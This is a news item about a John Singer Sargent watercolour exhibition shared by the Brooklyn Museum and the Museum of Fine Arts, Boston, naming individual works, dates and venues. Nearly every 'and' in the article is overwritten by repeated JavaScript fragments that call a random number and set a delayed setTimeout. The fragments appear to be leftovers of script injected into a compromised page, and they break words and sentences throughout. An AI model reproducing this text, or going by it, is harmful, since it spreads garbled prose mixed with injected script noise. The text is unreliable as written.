BROOKLYN, N.Y. — The Brooklyn Museum, together with the Museum of Fine Arts, Boston, has organized the exhibition “John Singer Sargent Watercolors,” on view April 5–July 28, which unites for the first time the holdings of Sargent watercolors acquired by each of the two institutions in the early Twentieth Century. The 93 watercolors in the exhibition — including 38 from Brooklyn’s collection, most of which have not been on view for decades — provide a once-in-a-generation opportunity to view a broad range of Sargent’s finest production in the medium.

Brooklyn’s Sargent watercolors were purchased en masse from the artist’s 1909 debut exhibition in New York. Their subjects include Venice scenes, Mediterranean sailing vessels, intimate portraits andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the Bedouin subjects, executed during a 1905-06 trip through the Ottoman Levant, that Sargent considered among the most outstandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding works of the group.

Among the Brooklyn watercolors are “Santa Maria della Salute,” 1904, a carefully wrought painting that explores in detail the features of one of Venice’s greatest works of architecture; “The Bridge of Sighs,” circa 1903–04, a vigorously painted work that captures the action of gondoliers at work; “Bedouins,” circa 1905–06, a watercolor of expressive force andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and coloristic vibrancy completed during Sargent’s travels in Syria; “A Tramp,” circa 1904–06, a portrait of a world-weary man notable for its intimacy andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and directness; “Gourds,” 1908, distinctive for its dense brushwork andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and brilliant palette; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “In a Medici Villa,” 1906, which reveals the artist’s love of formal Italian gardens andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and his preference for unexpectedly framed compositions.

The watercolors purchased by the Museum of Fine Arts, Boston, in 1912, were painted by Sargent with his Boston audience in mind andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and are more highly finished than the Brooklyn works. They feature subjects from his more recent travels to the Italian Alps, the villa gardens near Lucca andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the marble quarries of Carrara, as well as portraits.

Included are “Corfu: Lights andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Shadows,” 1909, a work that explores the colors andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and tones of sunlight andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shadows cast on brilliant white surfaces;” Simplon Pass: Reading,” circa 1911, which highlights the artist’s affinity for luxuriant compositions of casually interlinked figures; “The Cashmere Shawl,” circa 1911, a work that approximates the verve andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and virtuosity of Sargent’s grandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and portraits in oil; “Carrara Lizzatori I,” 1911, a dynamic impression of the quarry; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and “Villa di Marlia, Lucca: A Fountain,” 1910, which captures the vibrant interplay of light andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shadow around which baroque gardens were designed.

The exhibition will also present nine oil paintings, including Brooklyn’s “An Out-of-Doors Study,” “Paul Helleu andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and His Wife,” 1889, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Boston’s “The Master andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and His Pupils,” 1914.

The culmination of a yearlong collaborative study by a team of curators andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and conservators from both museums, the exhibition explores the extension of the artist’s primary aesthetic concerns throughout his watercolor practice, which has traditionally been viewed as a tangential facet of his artmaking. New discoveries based on scientific study of Sargent’s pigments, papers, drawing techniques, paper preparation, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and application of paint will be featured in a special section of the exhibition that deconstructs the artist’s techniques.

In addition, select works throughout the exhibition will be paired with videos that show a contemporary watercolor artist demonstrating some of Sargent’s working methods.

After its Brooklyn showing, the exhibition will be on view at the Museum of Fine Arts, Boston, October 13–January 20. It will then travel to the Museum of Fine Arts, Houston.

The Brooklyn Museum is at 200 Eastern Parkway. For information, 718-638-5000 or www.brooklynmuseum.org.